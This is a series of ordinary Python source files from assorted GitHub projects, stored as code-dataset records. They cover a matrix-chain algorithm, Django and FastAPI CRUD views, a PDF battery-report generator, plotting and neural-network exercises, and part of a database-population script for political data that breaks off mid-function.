sys\n\n\ndef matric_chain(p, n):\n m = [[0 for _ in range(n)] for _ in range(n)]\n for i in range(n):\n m[i][i] = 0\n j, q = 0, 0\n for l in range(2, n):\n for i in range(1, n-l+1):\n j = i+l-1\n m[i][j] = sys.maxsize\n for k in range(i, j):\n q = m[i][k] + m[k+1][j] + (p[i-1] * p[k] * p[j])\n if q < m[i][j]:\n m[i][j] = q\n\n return m[1][n-1]\n\n\narr = list(map(int, input(\"Enter Dimentions of the Matrices :- \").rstrip().split()))\nprint(\"Minimum Number of Multiplication is :- \", matric_chain(arr, len(arr)))\n","repo_name":"Pyk017/Important-Algorithms","sub_path":"Matric_Chain_Multiplication/Matric_Chain_Multiplication.py","file_name":"Matric_Chain_Multiplication.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41011321648","text":"from django.shortcuts import render\nfrom django.core.checks import messages\nfrom django.contrib import messages\nfrom django.shortcuts import render, HttpResponse\nfrom django.views.generic import View\nfrom .forms import *\nfrom .models import *\nfrom myapp1 import views\nfrom django.shortcuts import redirect\n\n# Create your views here.\n\nclass MyIndexView(View):\n def get(self,request):\n return render(request, 'index.html')\n\nclass MyResView(View):\n def get(self,request):\n return render(request, 'res.html' )\n\nclass MyMornView(View):\n def get(self,request):\n return render(request, 'morning.html')\n def post(self, request): \n form = BookForm(request.POST) \n\n if form.is_valid():\n # try:\n res_number = request.POST.get(\"res_number\")\n Name = request.POST.get(\"Name\")\n Address = request.POST.get(\"Address\")\n tel_Number = request.POST.get(\"tel_Number\")\n room_number = request.POST.get(\"room_number\")\n date = request.POST.get(\"date\")\n time = request.POST.get(\"time\")\n\n form = ResBook(res_number = res_number, Name = Name, Address = Address, tel_Number = tel_Number, room_number = room_number, date = date, time= time)\n form.save()\n\n \n return redirect('/res')\n \n else:\n print(form.errors)\n return HttpResponse('not valid')\n\n\nclass CreateRoomView(View):\n def get(self,request):\n return render(request, 'createRoom.html')\n \n def post(self,request):\n form = RoomForm(request.POST)\n\n if form.is_valid():\n room_number = request.POST.get(\"room_number\")\n room_type = request.POST.get(\"room_type\")\n no_guest = request.POST.get(\"no_guest\")\n form = Room(room_number = room_number,room_type = room_type, no_guest = no_guest)\n form.save()\n return redirect('/Rooms')\n else:\n print(form.errors) \n return HttpResponse('Please Fill Out All The Information') \n\nclass RoomView(View):\n def get(self, request):\n room = Room.objects.all()\n context = {\n 'roomRow' : room\n }\n return render(request, 'Rooms.html', context)\n\n def post(self, request):\n if(request.method) == 'POST':\n if 'btnUpdate' in request.POST:\n print('update profile')\n room_number = request.POST.get(\"room_number\")\n room_type = request.POST.get(\"room_type\")\n no_guest = request.POST.get(\"no_guest\")\n update = Room.objects.filter(room_number = room_number).update(room_type = room_type, no_guest = no_guest)\n print(update)\n print('Room updated')\n return redirect('/Rooms')\n elif 'btnDelete' in request.POST:\n print('delete button clicked')\n iddn = request.POST.get(\"room_number\")\n iddn = Room.objects.filter(room_number = iddn).delete()\n print('record deleted')\n return redirect('/Rooms')\n\nclass RoomDisplayView(View):\n def get(self, request):\n room = Room.objects.all()\n context = {\n 'roomRow' : room\n }\n return render(request, 'RoomsDisplay.html', context)\n\n\n\n\n\n\n \n \n \n \n \n \n \n\n\n \n \n\n\n","repo_name":"franzcasia/DJFReservationSystem","sub_path":"myapp1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32060039896","text":"from typing import List\n\nfrom fastapi import Depends\nfrom fastapi import APIRouter\nfrom fastapi.encoders import jsonable_encoder\n\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom core.database import get_current_db\nfrom users.models import User\nfrom users.service import get_current_user\n\nimport conditions.schemas as cond_schemas\nimport conditions.models as cond_models\n\n\nrouter = APIRouter(\n prefix=\"/conditions\",\n tags=[\"conditions\"]\n)\n\n# region ConditionCRUD\n\n\n@router.get(\"/\", response_model=List[cond_schemas.Condition])\nasync def get_all_condition(\n *,\n db_session: AsyncSession = Depends(get_current_db),\n current_user: User = Depends(get_current_user)\n) -> List[cond_schemas.Condition]:\n\n conditions = await cond_models.Condition.get_all(db_session=db_session)\n\n return conditions\n\n\n@router.post(\"/\", response_model=cond_schemas.Condition)\nasync def create_condition(\n *,\n visit_in: cond_schemas.Condition,\n db_session: AsyncSession = Depends(get_current_db),\n current_user: User = Depends(get_current_user)\n) -> cond_schemas.Condition:\n\n condition = await cond_models.Condition.create(db_session=db_session, cls_in=visit_in)\n return condition\n\n\n@router.get(\"/{cond_id}/\", response_model=cond_schemas.Condition)\nasync def get_condition_by_id(\n *,\n cond_id: int,\n db_session: AsyncSession = Depends(get_current_db),\n current_user: User = Depends(get_current_user)\n) -> cond_schemas.Condition:\n\n condition = await cond_models.Condition.get_by_id(db_session=db_session, id=cond_id)\n return condition\n\n\n@router.put(\"/{cond_id}/\", response_model=cond_schemas.Condition)\nasync def update_condition(\n *,\n cond_id: int,\n cond_in: cond_schemas.Condition,\n db_session: AsyncSession = Depends(get_current_db),\n current_user: User = Depends(get_current_user)\n) -> cond_schemas.Condition:\n\n condition = await cond_models.Condition.update(\n db_session=db_session,\n id=cond_id,\n cls_in=cond_in\n )\n return condition\n\n\n@router.delete(\"/{cond_id}/\")\nasync def delete_condition(\n *,\n cond_id: int,\n db_session: AsyncSession = Depends(get_current_db),\n current_user: User = Depends(get_current_user)\n) -> None:\n\n await cond_models.Condition.delete(db_session=db_session, id=cond_id)\n\n# endregion\n","repo_name":"ustimova-a/med_records","sub_path":"src/conditions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32401575746","text":"import json\nfrom typing import Optional, List\nfrom fastapi import FastAPI, Body, status\nfrom fastapi.responses import JSONResponse\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pydantic import BaseModel\n\n\napp = FastAPI(title=\"Persons FastApi\")\n\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n )\n\n# ========== Model =============\nclass PersonInput(BaseModel):\n first_name: str\n last_name: str\n gender: str\n age: int\n email: str\n phone: str\n city: str\n address: str\n\nclass PersonOutput(PersonInput):\n id: int\n\n# ======== Helpers =========\n\ndef load_db():\n with open(\"/home/keys4/app/dummy_db.json\") as f:\n return [PersonOutput.parse_obj(el) for el in json.load(f)]\n\ndef save_db(persons: List[PersonInput]):\n with open(\"/home/keys4/app/dummy_db.json\", \"w\") as f:\n json.dump([person.dict() for person in persons], f)\n\n\npersons = load_db()\n\n\n# ========= Routes =========\n\n@app.get(\"/\")\nasync def main():\n return \"

Root page: use /api/persons

\"\n\n\n@app.get(\"/api/persons\")\ndef get_persons(gender: Optional[str] = None, age: Optional[int] = None):\n res = persons\n if gender:\n res = [person for person in persons if person.gender == gender]\n if age:\n res = [person for person in persons if person.age >= age]\n return res\n\n\n@app.get(\"/api/persons/{person_id}\")\ndef get_person(person_id: int):\n res = [person for person in persons if person.id == person_id]\n if not len(res):\n return JSONResponse(\n status_code=status.HTTP_404_NOT_FOUND,\n content={\"message\": \"Person not found\"}\n )\n return res[0]\n\n\n@app.post(\"/api/persons\", response_model=PersonOutput)\ndef create_person(data = Body()):\n new_person = PersonOutput(\n id=len(persons)+1,\n first_name=data[\"first_name\"],\n last_name=data[\"last_name\"],\n gender=data[\"gender\"],\n age=data[\"age\"],\n email=data[\"email\"],\n phone=data[\"phone\"],\n city=data[\"city\"],\n address=data[\"address\"]\n )\n persons.append(new_person)\n save_db(persons)\n return new_person\n\n\n@app.put(\"/api/persons/{person_id}\", response_model=PersonOutput)\ndef edit_person(person_id: int, data = Body()):\n matches = [person for person in persons if person.id == person_id]\n if matches:\n person = matches[0]\n person.first_name = data[\"first_name\"]\n person.last_name = data[\"last_name\"]\n person.gender = data[\"gender\"]\n person.age = data[\"age\"]\n person.email = data[\"email\"]\n person.phone = data[\"phone\"]\n person.city = data[\"city\"]\n person.address = data[\"address\"]\n save_db(persons)\n return person\n else:\n return JSONResponse(\n status_code=status.HTTP_404_NOT_FOUND,\n content={\"message\": \"Person not found\"}\n )\n\n\n@app.delete(\"/api/persons/{person_id}\", status_code=204)\ndef delete_person(person_id: int):\n matches = [person for person in persons if person.id == person_id]\n if matches:\n person = matches[0]\n persons.remove(person)\n save_db(persons)\n else:\n return JSONResponse(\n status_code=status.HTTP_404_NOT_FOUND,\n content={\"message\": \"Person not found\"}\n )\n","repo_name":"keys4words/fastApi","sub_path":"code/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7908313462","text":"inFp, outFp = None, None\ninStr = \"\"\n\ninFp=open(\"c:/Windows/notepad.exe\", \"rb\")\noutFp=open(\"c:/temp/notepad.exe\", \"wb\") #temp폴더 만들어서 이 바이너리파일 복사\n\nwhile True :\n inStr = inFp.read()\n if not inStr :\n break\n outFp.write(inStr)\n\ninFp.close()\noutFp.close()\nprint(\"바이너리 파일 복사 완료!\")\n","repo_name":"dbelleK/study_python","sub_path":"Python_Pro2/base55.py","file_name":"base55.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16464493208","text":"from fpdf import FPDF\nfrom datetime import datetime\n\nclass PDF(FPDF):\n def __init__(self, *args, data, **kwargs):\n self.WIDTH = 210\n self.HEIGHT = 297\n self.data = data\n super().__init__(*args, **kwargs)\n \n def header(self):\n self.set_font('Arial', 'I', 11)\n self.cell(self.WIDTH/2-10, 10, f\"Battery {self.data['sn']}\", 0, 0, 'L')\n self.cell(self.WIDTH/2-10, 10, f\"{datetime.today().replace(microsecond=0)}\", 0, 0, 'R')\n self.ln(10)\n \n def footer(self):\n self.set_y(-15)\n self.set_font('Arial', 'I', 8)\n self.set_text_color(128)\n self.cell(0, 10, 'Page ' + str(self.page_no()), 0, 0, 'C')\n self.image('ui/assets/trexo-logo.png', 10, self.HEIGHT - 20, 20)\n\n def add_summary_table(self):\n self.add_page()\n self._add_page_title('Battery Capacity Test Report')\n \n # Serial number and capacity text\n self.set_font('Arial', '', 12)\n self.ln()\n self.cell(self.WIDTH - 20, 10, f\"Battery Serial Number: {self.data['sn']}\", 0, align='C')\n self.ln()\n self.cell(self.WIDTH - 20, 10, f\"Battery Capacity: {self.data['cap']} mAh\", 0, align='C')\n self.ln(20)\n\n # Text\n self._set_font(False)\n self.cell(self.WIDTH - 20, 10, f\"Table 1 presents an overview of the charging and discharging process executed during the capacity test.\", 0, align='LR')\n self.ln(10)\n\n # Table caption\n self.set_font('Arial', 'I', 9)\n self.cell(self.WIDTH - 20, 10, f\"Table 1: Battery {self.data['sn']} charge/discharge process\", 0, align='C')\n self.ln()\n\n # Table Header\n self._set_font(True)\n headers = [\"\", \"Start Time\", \"End Time\", \"Duration\", \"Charge (mAh)\"]\n widths = [34, 44, 44, 34, 34]\n for i in range(len(headers)):\n if i == 0:\n self.cell(widths[i], 7, headers[i], 0, 0, 'C')\n else:\n self.cell(widths[i], 7, headers[i], 1, 0, 'C')\n self.ln()\n\n # Timedeltas\n cf_st = self.data['cf_st'].replace(microsecond=0)\n cf_et = self.data['cf_et'].replace(microsecond=0)\n df_st = self.data['df_st'].replace(microsecond=0)\n df_cp_t = self.data['df-cp_t'].replace(microsecond=0)\n cp_et = self.data['cp_et'].replace(microsecond=0)\n\n cf_duration = cf_et - cf_st\n df_duration = df_cp_t -df_st\n cp_duration = cp_et - df_cp_t\n total_duration = cp_et - cf_st\n\n total_charge = self.data['cf_c'] + self.data['df_c'] + self.data['cp_c']\n\n # Full Charge Row\n self._set_font(True)\n self.cell(widths[0], 6, \"Full Charge\", 1, 0, 'C')\n self._set_font(False)\n self.cell(widths[1], 6, str(cf_st), 1, 0, 'C')\n self.cell(widths[2], 6, str(cf_et), 1, 0, 'C')\n self.cell(widths[3], 6, str(cf_duration), 1, 0, 'C')\n self.cell(widths[4], 6, str(self.data['cf_c']), 1, 0, 'C')\n self.ln() \n\n # Full Discharge Row\n self._set_font(True)\n self.cell(widths[0], 6, \"Full Discharge\", 1, 0, 'C')\n self._set_font(False)\n self.cell(widths[1], 6, str(df_st), 1, 0, 'C')\n self.cell(widths[2], 6, str(df_cp_t), 1, 0, 'C')\n self.cell(widths[3], 6, str(df_duration), 1, 0, 'C')\n self.cell(widths[4], 6, str(self.data['df_c']), 1, 0, 'C')\n self.ln() \n\n # Partial Charge Row\n self._set_font(True)\n self.cell(widths[0], 6, \"Partial Charge\", 1, 0, 'C')\n self._set_font(False)\n self.cell(widths[1], 6, str(df_cp_t), 1, 0, 'C')\n self.cell(widths[2], 6, str(cp_et), 1, 0, 'C')\n self.cell(widths[3], 6, str(cp_duration), 1, 0, 'C')\n self.cell(widths[4], 6, str(self.data['cp_c']), 1, 0, 'C')\n self.ln() \n\n # Total Row\n self._set_font(True)\n self.cell(widths[0], 6, \"Total\", 1, 0, 'C')\n self._set_font(False)\n self.cell(widths[1], 6, str(cf_st), 1, 0, 'C')\n self.cell(widths[2], 6, str(cp_et), 1, 0, 'C')\n self.cell(widths[3], 6, str(total_duration), 1, 0, 'C')\n self.cell(widths[4], 6, str(total_charge), 1, 0, 'C')\n self.ln() \n\n def _set_font(self, bold):\n self.set_font('Arial', 'B' if bold else '', 10)\n\n def add_plots(self, plots):\n self.add_page()\n self._add_page_title('Plots')\n self.image(plots[0], x=25, y=31, h=self.HEIGHT/2 - 15)\n self.image(plots[1], x=25, y=self.HEIGHT / 2 + 11, h=self.HEIGHT/2 - 15)\n\n def _add_page_title(self, txt):\n self.set_font('Arial', 'B', 12)\n self.cell(self.WIDTH - 20, 10, txt, 1, align='C')\n self.ln(10)","repo_name":"Zia-F/battery-recertification-station","sub_path":"ui/report_pdf.py","file_name":"report_pdf.py","file_ext":"py","file_size_in_byte":4703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"42024897503","text":"import matplotlib.pyplot as plt\nimport math\n\n\ndef plot_images(images):\n fig = plt.figure(figsize=(15, 10))\n ncols = 5 if len(images) >= 5 else len(images)\n nrows = math.ceil(len(images) / ncols)\n for i in range(len(images)):\n fig.add_subplot(nrows, ncols, i+1)\n img = images[i]\n plt.imshow(img, cmap='gray')\n\n plt.show()\n\n\ndef moving_avg(curr_avg, val, samples_count):\n res = curr_avg\n res -= res / samples_count\n res += val / samples_count\n return res\n","repo_name":"r0busta/CarND-Advanced-Lane-Lines","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1799084141","text":"import numpy as np\nfrom numpy.core.numeric import identity\n\ndef sigmoid(x): #시그모이드 함수\n return 1 / (1 + np.exp(-x))\n\ndef identity_function(x): #항등 함수\n return x\n\ndef init_network(): #신경망 가중치 및 편향값 구현\n network = {}\n network['W1'] = np.array([[0.1, 0.3, 0.5], [0.2, 0.4, 0.6]])\n network['b1'] = np.array([0.1, 0.2, 0.3])\n network['W2'] = np.array([[0.1, 0.4], [0.2, 0.5], [0.3, 0.6]])\n network['b2'] = np.array([0.1, 0.2])\n network['W3'] = np.array([[0.1, 0.3], [0.2, 0.4]])\n network['b3'] = np.array([0.1, 0.2])\n\n return network\n\ndef forward(network, x): #각 층의 신호전달 구현(순방향으로 전달됨 즉, 순전파)\n W1, W2, W3 = network['W1'], network['W2'], network['W3']\n b1, b2, b3 = network['b1'], network['b2'], network['b3']\n\n a1 = np.dot(x, W1) + b1\n z1 = sigmoid(a1)\n a2 = np.dot(z1, W2) + b2\n z2 = sigmoid(a2)\n a3 = np.dot(z2, W3) + b3\n y = identity_function(a3)\n\n return y\n\nnetwork = init_network()\nx = np.array([1.0, 0.5])\ny = forward(network, x)\nprint(y)","repo_name":"NewPlus/deepLearning_from_scratch_1_practice","sub_path":"밑바닥부터 시작하는 딥러닝 예제/cp02/cp2_5(각 층의 신호전달 구현 함수화).py","file_name":"cp2_5(각 층의 신호전달 구현 함수화).py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39871829487","text":"import collections\nimport string\nimport os\nimport math\nimport matplotlib.pylab as plt\n\ncase_sensitive = False\nwith open('sample.txt', 'r') as f:\n\toriginal_text = f.read()\nif case_sensitive:\n\talphabet = string.ascii_letters\n\ttext = original_text\nelse:\n\talphabet = string.ascii_lowercase\n\ttext = original_text.lower()\nalphabet_set = set(alphabet)\ncounts = dict(collections.Counter(c for c in text if c in alphabet_set))\n# for letter in alphabet:\n# \tprint(letter, counts[letter])\n\n#print(\"total:\", sum(counts.values()))\nmy_dict = {}\nfor key, value in sorted(counts.items(), key=lambda item: item[1], reverse=True):\n my_dict.update({key:value})\n\n#print(my_dict)\n\n# n = math.floor(len(my_dict.items())*0.2)\n# for i in range(1,n):\n# \tdel list(my_dict)[i]\n# print('hello')\n\n\n\nlists = sorted(my_dict.items()) # sorted by key, return a list of tuples\n\nx, y = zip(*lists) # unpack a list of pairs into two tuples\n\nplt.bar(x, y)\nplt.show()\n\n\n\n# infile=open('sample.txt', 'r')\n# lines=0\n# words=0\n# characters=0\n# for line in infile:\n# line = line.strip(os.linesep)\n# wordslist=line.split()\n# lines=lines+1\n# words=words+len(wordslist)\n# characters=characters+ len(line)\n# print(lines)\n# print(words)\n# print(characters)\n\n\n\n\n","repo_name":"syedsaadahmed/playing-with-pandas-numpy-matplotlib","sub_path":"Task_1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26170822992","text":"# std\nimport time\nimport unicodedata\n\n# local\nfrom src.cron_jobs.utils.file import has_valid_file, read_json, write_json\nfrom src.cron_jobs.utils.fetch import (\n fetch_entity,\n fetch_json,\n load_entity,\n load_entity_from_db,\n)\nfrom src.db.connection import engine, Session, Base\nfrom src.db.models.country import Country\nfrom src.db.models.city import City\nfrom src.db.models.party_style import PartyStyle\nfrom src.db.models.party import Party\nfrom src.db.models.politician import Politician\nfrom src.db.models.parliament import Parliament\nfrom src.db.models.parliament_period import ParliamentPeriod\nfrom src.db.models.topic import Topic\nfrom src.db.models.committee import Committee\nfrom src.db.models.committee_has_topic import CommitteeHasTopic\nfrom src.db.models.fraction import Fraction\nfrom src.db.models.constituency import Constituency\nfrom src.db.models.electoral_list import ElectoralList\nfrom src.db.models.election_program import ElectionProgram\nfrom src.db.models.fraction_membership import FractionMembership\nfrom src.db.models.electoral_data import ElectoralData\nfrom src.db.models.candidacy_mandate import CandidacyMandate\nfrom src.db.models.committee_membership import CommitteeMembership\nfrom src.db.models.poll import Poll\nfrom src.db.models.poll_has_topic import PollHasTopic\nfrom src.db.models.field_related_link import FieldRelatedLink\nfrom src.db.models.vote import Vote\nfrom src.db.models.sidejob_organization import SidejobOrganization\nfrom src.db.models.sidejob_organization_has_topic import SidejobOrganizationHasTopic\nfrom src.db.models.sidejob import Sidejob\nfrom src.db.models.sidejob_has_mandate import SidejobHasMandate\nfrom src.db.models.sidejob_has_topic import SidejobHasTopic\nfrom src.db.models.position_statement import PositionStatement\nfrom src.db.models.cv import CV\nfrom src.db.models.career_path import CareerPath\nfrom src.db.models.position import Position\nfrom src.db.models.politician_weblink import PoliticianWeblink\nfrom src.db.models.poll_result_per_party import PollResultPerFraction\nfrom src.db.models.party_donation import PartyDonation\nfrom src.db.models.party_donation_organization import PartyDonationOrganization\nfrom src.cron_jobs.utils.partydonations import clean_donations\n\nimport src.db.models as models\nfrom src.cron_jobs.utils.vote_result import (\n generate_vote_results,\n get_total_votes_of_type,\n)\nfrom src.cron_jobs.utils.insert_and_update import insert_and_update\nfrom src.cron_jobs.utils.parser import (\n gen_statements,\n gen_positions,\n gen_party_styles_map,\n PERIOD_POSITION_TABLE,\n)\nfrom src.cron_jobs.utils.truncate_table import truncate_table\n\n# third-party\nfrom sqlalchemy.dialects.postgresql import insert\nfrom sqlalchemy import func\n\nsession = Session()\n\n\ndef populate_countries() -> None:\n api_countries = load_entity(\"countries\")\n countries = [\n {\n \"id\": api_country[\"id\"],\n \"entity_type\": api_country[\"entity_type\"],\n \"label\": api_country[\"label\"],\n \"api_url\": api_country[\"api_url\"],\n }\n for api_country in api_countries\n ]\n insert_and_update(Country, countries)\n\n\ndef populate_cities() -> None:\n api_cities = load_entity(\"cities\")\n cities = [\n {\n \"id\": api_city[\"id\"],\n \"entity_type\": api_city[\"entity_type\"],\n \"label\": api_city[\"label\"],\n \"api_url\": api_city[\"api_url\"],\n }\n for api_city in api_cities\n ]\n insert_and_update(City, cities)\n\n\ndef populate_party_styles() -> None:\n api_parties = load_entity(\"parties\")\n party_styles_map = gen_party_styles_map(api_parties)\n party_styles = []\n for api_party in api_parties:\n party_id: int = api_party[\"id\"]\n if party_id in party_styles_map:\n party_styles.append(party_styles_map[party_id])\n else:\n party_style = {\n \"id\": party_id,\n \"display_name\": api_party[\"label\"],\n \"foreground_color\": \"#FFFFFF\",\n \"background_color\": \"#333333\",\n \"border_color\": None,\n }\n party_styles.append(party_style)\n insert_and_update(PartyStyle, party_styles)\n\n\ndef populate_parties() -> None:\n api_parties = load_entity(\"parties\")\n parties = [\n {\n \"id\": api_party[\"id\"],\n \"entity_type\": api_party[\"entity_type\"],\n \"label\": api_party[\"label\"],\n \"api_url\": api_party[\"api_url\"],\n \"full_name\": api_party[\"full_name\"],\n \"short_name\": api_party[\"short_name\"],\n \"party_style_id\": api_party[\"id\"],\n }\n for api_party in api_parties\n ]\n insert_and_update(Party, parties)\n\n\ndef populate_politicians() -> None:\n api_politicians = load_entity(\"politicians\")\n begin_time = time.time()\n politicians = [\n {\n \"id\": api_politician[\"id\"],\n \"entity_type\": api_politician[\"entity_type\"],\n \"label\": api_politician[\"label\"],\n \"api_url\": api_politician[\"api_url\"],\n \"abgeordnetenwatch_url\": api_politician[\"abgeordnetenwatch_url\"],\n \"first_name\": api_politician[\"first_name\"],\n \"last_name\": api_politician[\"last_name\"],\n \"birth_name\": api_politician[\"birth_name\"],\n \"sex\": api_politician[\"sex\"],\n \"year_of_birth\": api_politician[\"year_of_birth\"],\n \"party_id\": api_politician[\"party\"][\"id\"]\n if api_politician[\"party\"]\n else None,\n \"party_past\": api_politician[\"party_past\"],\n \"deceased\": api_politician[\"deceased\"],\n \"deceased_date\": api_politician[\"deceased_date\"],\n \"education\": api_politician[\"education\"],\n \"residence\": api_politician[\"residence\"],\n \"occupation\": api_politician[\"occupation\"],\n \"statistic_questions\": api_politician[\"statistic_questions\"],\n \"statistic_questions_answered\": api_politician[\n \"statistic_questions_answered\"\n ],\n \"qid_wikidata\": api_politician[\"qid_wikidata\"],\n \"field_title\": api_politician[\"field_title\"],\n }\n for api_politician in api_politicians\n ]\n insert_and_update(Politician, politicians)\n end_time = time.time()\n print(\n f\"Total runtime to store {len(api_politicians)} data is {end_time - begin_time}\"\n )\n\n\ndef populate_parliaments() -> None:\n api_parliaments = load_entity(\"parliaments\")\n parliaments = [\n {\n \"id\": api_parliament[\"id\"],\n \"entity_type\": api_parliament[\"entity_type\"],\n \"label\": api_parliament[\"label\"],\n \"api_url\": api_parliament[\"api_url\"],\n \"abgeordnetenwatch_url\": api_parliament[\"abgeordnetenwatch_url\"],\n \"label_external_long\": api_parliament[\"label_external_long\"],\n }\n for api_parliament in api_parliaments\n ]\n insert_and_update(Parliament, parliaments)\n\n\ndef update_parliament_current_project_ids() -> None:\n api_parliaments = load_entity(\"parliaments\")\n parliaments = [\n {\n \"id\": parliament[\"id\"],\n \"current_project_id\": parliament[\"current_project\"][\"id\"]\n if parliament[\"current_project\"]\n else None,\n }\n for parliament in api_parliaments\n ]\n\n for parliament in parliaments:\n if parliament[\"current_project_id\"]:\n engine.execute(\n \"UPDATE {table} SET current_project_id = {current_project_id} WHERE id = {id}\".format(\n table=Parliament.__tablename__,\n current_project_id=parliament[\"current_project_id\"],\n id=parliament[\"id\"],\n )\n )\n\n\ndef populate_parliament_periods() -> None:\n api_parliament_periods = load_entity(\"parliament-periods\")\n parliament_periods = [\n {\n \"id\": api_parliament_period[\"id\"],\n \"entity_type\": api_parliament_period[\"entity_type\"],\n \"label\": api_parliament_period[\"label\"],\n \"api_url\": api_parliament_period[\"api_url\"],\n \"abgeordnetenwatch_url\": api_parliament_period[\"abgeordnetenwatch_url\"],\n \"type\": api_parliament_period[\"type\"],\n \"election_date\": api_parliament_period[\"election_date\"],\n \"start_date_period\": api_parliament_period[\"start_date_period\"],\n \"end_date_period\": api_parliament_period[\"end_date_period\"],\n \"parliament_id\": api_parliament_period[\"parliament\"][\"id\"]\n if api_parliament_period[\"parliament\"]\n else None,\n \"previous_period_id\": api_parliament_period[\"previous_period\"][\"id\"]\n if api_parliament_period[\"previous_period\"]\n else None,\n }\n for api_parliament_period in api_parliament_periods\n ]\n parliament_periods = sorted(parliament_periods, key=lambda p: p[\"id\"])\n insert_and_update(ParliamentPeriod, parliament_periods)\n update_parliament_current_project_ids()\n\n\ndef populate_topics() -> None:\n api_topics = load_entity(\"topics\")\n topics = [\n {\n \"id\": api_topic[\"id\"],\n \"entity_type\": api_topic[\"entity_type\"],\n \"label\": api_topic[\"label\"],\n \"api_url\": api_topic[\"api_url\"],\n \"abgeordnetenwatch_url\": api_topic[\"abgeordnetenwatch_url\"],\n \"description\": api_topic[\"description\"],\n \"parent_id\": api_topic[\"parent\"][0][\"id\"] if api_topic[\"parent\"] else None,\n }\n for api_topic in api_topics\n ]\n topics = sorted(topics, key=lambda t: t[\"id\"])\n insert_and_update(Topic, topics)\n\n\ndef populate_committees() -> None:\n api_committees = load_entity(\"committees\")\n committees = [\n {\n \"id\": api_committee[\"id\"],\n \"entity_type\": api_committee[\"entity_type\"],\n \"label\": api_committee[\"label\"],\n \"api_url\": api_committee[\"api_url\"],\n \"field_legislature_id\": api_committee[\"field_legislature\"][\"id\"],\n }\n for api_committee in api_committees\n ]\n insert_and_update(Committee, committees)\n\n\ndef populate_committee_has_topic() -> None:\n api_committees = load_entity(\"committees\")\n committee_topics = []\n for api_committee in api_committees:\n field_topics = api_committee[\"field_topics\"]\n if field_topics:\n for topic in field_topics:\n committee_topic = {\n \"committee_id\": api_committee[\"id\"],\n \"topic_id\": topic[\"id\"],\n }\n committee_topics.append(committee_topic)\n stmt = insert(CommitteeHasTopic).values(committee_topics)\n stmt = stmt.on_conflict_do_nothing()\n session = Session()\n session.execute(stmt)\n session.commit()\n session.close()\n\n\ndef populate_fractions() -> None:\n api_fractions = load_entity(\"fractions\")\n fractions = [\n {\n \"id\": api_fraction[\"id\"],\n \"entity_type\": api_fraction[\"entity_type\"],\n \"label\": api_fraction[\"label\"],\n \"api_url\": api_fraction[\"api_url\"],\n \"full_name\": api_fraction[\"full_name\"],\n \"short_name\": api_fraction[\"short_name\"],\n \"legislature_id\": api_fraction[\"legislature\"][\"id\"]\n if api_fraction[\"legislature\"]\n else None,\n }\n for api_fraction in api_fractions\n ]\n insert_and_update(Fraction, fractions)\n\n\ndef populate_constituencies() -> None:\n api_constituencies = load_entity(\"constituencies\")\n constituencies = [\n {\n \"id\": api_constituency[\"id\"],\n \"entity_type\": api_constituency[\"entity_type\"],\n \"label\": api_constituency[\"label\"],\n \"api_url\": api_constituency[\"api_url\"],\n \"name\": api_constituency[\"name\"],\n \"number\": api_constituency[\"number\"],\n }\n for api_constituency in api_constituencies\n ]\n insert_and_update(Constituency, constituencies)\n\n\ndef update_constituencies_with_parliament_period_id() -> None:\n begin_time = time.time()\n constituencies = []\n constituency_dict = {}\n\n api_constituencies = load_entity(\"constituencies\")\n for item in api_constituencies:\n constituency_dict[item[\"id\"]] = item\n\n json_data = read_json(\n \"src/data_scraper/json_data/constituency_id_parliament_period_id.json\"\n )\n\n for item in json_data:\n constituency_id = item[\"constituency_id\"]\n has_api_constituency = constituency_dict.get(constituency_id)\n\n if has_api_constituency:\n api_constituency = constituency_dict[constituency_id]\n constituency = {\n \"id\": api_constituency[\"id\"],\n \"entity_type\": api_constituency[\"entity_type\"],\n \"label\": api_constituency[\"label\"],\n \"api_url\": api_constituency[\"api_url\"],\n \"name\": api_constituency[\"name\"],\n \"number\": api_constituency[\"number\"],\n # Add parliament_period_id from json\n \"parliament_period_id\": item[\"parliament_period_id\"],\n }\n\n constituencies.append(constituency)\n insert_and_update(Constituency, constituencies)\n end_time = time.time()\n print(f\"Total runtime to store {len(json_data)} data is {end_time - begin_time}\")\n\n\ndef populate_electoral_lists() -> None:\n api_electoral_lists = load_entity(\"electoral-lists\")\n electoral_lists = [\n {\n \"id\": api_electoral_list[\"id\"],\n \"entity_type\": api_electoral_list[\"entity_type\"],\n \"label\": api_electoral_list[\"label\"],\n \"api_url\": api_electoral_list[\"api_url\"],\n \"name\": api_electoral_list[\"name\"],\n \"parliament_period_id\": api_electoral_list[\"parliament_period\"][\"id\"]\n if api_electoral_list[\"parliament_period\"]\n else None,\n }\n for api_electoral_list in api_electoral_lists\n ]\n insert_and_update(ElectoralList, electoral_lists)\n\n\ndef populate_election_programs() -> None:\n api_election_programs = load_entity(\"election-program\")\n election_programs = [\n {\n \"id\": api_election_program[\"id\"],\n \"entity_type\": api_election_program[\"entity_type\"],\n \"label\": api_election_program[\"label\"],\n \"api_url\": api_election_program[\"api_url\"],\n 